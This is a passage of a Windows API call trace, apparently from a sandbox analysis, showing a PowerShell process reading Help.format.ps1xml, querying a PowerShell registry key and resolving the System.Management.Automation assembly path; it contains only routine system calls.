lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.517] VirtualQuery (in: lpAddress=0x29d380, lpBuffer=0x29e380, dwLength=0x1c | out: lpBuffer=0x29e380*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.517] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0075.517] GetLastError () returned 0x0 [0075.517] SetErrorMode (uMode=0x1) returned 0x1 [0075.518] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0075.518] GetLastError () returned 0x0 [0075.518] GetFileType (hFile=0x354) returned 0x1 [0075.518] SetErrorMode (uMode=0x1) returned 0x1 [0075.518] GetFileType (hFile=0x354) returned 0x1 [0075.518] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.520] GetLastError () returned 0x0 [0075.520] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.520] GetLastError () returned 0x0 [0075.521] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.521] GetLastError () returned 0x0 [0075.521] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.521] GetLastError () returned 0x0 [0075.521] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.521] GetLastError () returned 0x0 [0075.521] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.521] GetLastError () returned 0x0 [0075.521] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.521] GetLastError () returned 0x0 [0075.521] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.521] GetLastError () returned 0x0 [0075.523] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.523] GetLastError () returned 0x0 [0075.523] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.523] GetLastError () returned 0x0 [0075.523] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.523] GetLastError () returned 0x0 [0075.523] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.523] GetLastError () returned 0x0 [0075.523] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.524] GetLastError () returned 0x0 [0075.524] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.524] GetLastError () returned 0x0 [0075.524] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.524] GetLastError () returned 0x0 [0075.525] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.525] GetLastError () returned 0x0 [0075.527] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.527] GetLastError () returned 0x0 [0075.528] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.528] GetLastError () returned 0x0 [0075.528] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.528] GetLastError () returned 0x0 [0075.528] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.528] GetLastError () returned 0x0 [0075.528] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.528] GetLastError () returned 0x0 [0075.528] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.529] GetLastError () returned 0x0 [0075.529] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.529] GetLastError () returned 0x0 [0075.529] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.529] GetLastError () returned 0x0 [0075.529] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.529] GetLastError () returned 0x0 [0075.529] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.529] GetLastError () returned 0x0 [0075.530] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.530] GetLastError () returned 0x0 [0075.530] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.530] GetLastError () returned 0x0 [0075.530] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.530] GetLastError () returned 0x0 [0075.530] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.530] GetLastError () returned 0x0 [0075.530] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.531] GetLastError () returned 0x0 [0075.531] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.531] GetLastError () returned 0x0 [0075.535] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.535] GetLastError () returned 0x0 [0075.535] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.535] GetLastError () returned 0x0 [0075.536] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.536] GetLastError () returned 0x0 [0075.536] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.536] GetLastError () returned 0x0 [0075.536] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.536] GetLastError () returned 0x0 [0075.536] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.536] GetLastError () returned 0x0 [0075.536] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.536] GetLastError () returned 0x0 [0075.537] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.537] GetLastError () returned 0x0 [0075.537] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.537] GetLastError () returned 0x0 [0075.537] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.537] GetLastError () returned 0x0 [0075.537] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.537] GetLastError () returned 0x0 [0075.538] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.538] GetLastError () returned 0x0 [0075.538] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.538] GetLastError () returned 0x0 [0075.538] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.538] GetLastError () returned 0x0 [0075.538] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.538] GetLastError () returned 0x0 [0075.539] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.539] GetLastError () returned 0x0 [0075.539] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.539] GetLastError () returned 0x0 [0075.539] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.539] GetLastError () returned 0x0 [0075.539] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.539] GetLastError () returned 0x0 [0075.539] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.539] GetLastError () returned 0x0 [0075.540] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.540] GetLastError () returned 0x0 [0075.540] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.540] GetLastError () returned 0x0 [0075.540] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.540] GetLastError () returned 0x0 [0075.540] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.540] GetLastError () returned 0x0 [0075.540] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.540] GetLastError () returned 0x0 [0075.541] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.541] GetLastError () returned 0x0 [0075.541] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.541] GetLastError () returned 0x0 [0075.541] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.541] GetLastError () returned 0x0 [0075.541] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.541] GetLastError () returned 0x0 [0075.542] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.542] GetLastError () returned 0x0 [0075.542] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0xf37, lpOverlapped=0x0) returned 1 [0075.542] GetLastError () returned 0x0 [0075.542] ReadFile (in: hFile=0x354, lpBuffer=0x2ef25d3, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef25d3*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.542] GetLastError () returned 0x0 [0075.542] ReadFile (in: hFile=0x354, lpBuffer=0x2ef2efc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x2ef2efc*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.542] GetLastError () returned 0x0 [0075.542] CloseHandle (hObject=0x354) returned 1 [0075.542] GetLastError () returned 0x0 [0075.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0075.542] GetLastError () returned 0x0 [0075.542] SetErrorMode (uMode=0x1) returned 0x1 [0075.542] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f13ef8 | out: lpFileInformation=0x2f13ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0075.543] GetLastError () returned 0x0 [0075.543] SetErrorMode (uMode=0x1) returned 0x1 [0075.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0075.543] GetLastError () returned 0x0 [0075.543] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x354) returned 0x0 [0075.543] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.543] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.543] RegCloseKey (hKey=0x354) returned 0x0 [0075.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0075.543] GetLastError () returned 0x0 [0075.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0075.543] GetLastError () returned 0x0 [0075.552] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x413ab62c, Data2=0x140b, Data3=0x4ebc, Data4=([0]=0x91, [1]=0x11, [2]=0x14, [3]=0x43, [4]=0x91, [5]=0xe9, [6]=0xc2, [7]=0xed))) returned 0x0 [0075.552] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x73967e08, Data2=0xae99, Data3=0x4cb4, Data4=([0]=0xbf, [1]=0xde, [2]=0x3f, [3]=0xce, [4]=0x4b, [5]=0xfd, [6]=0x97, [7]=0x99))) returned 0x0 [0075.552] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.552] GetLastError () returned 0x0 [0075.553] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.553] GetLastError () returned 0x0 [0075.553] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.553] GetLastError () returned 0x0 [0075.553] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.553] GetLastError () returned 0x0 [0075.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.593] GetLastError () returned 0x0 [0075.593] GetFullPathNameW (in: 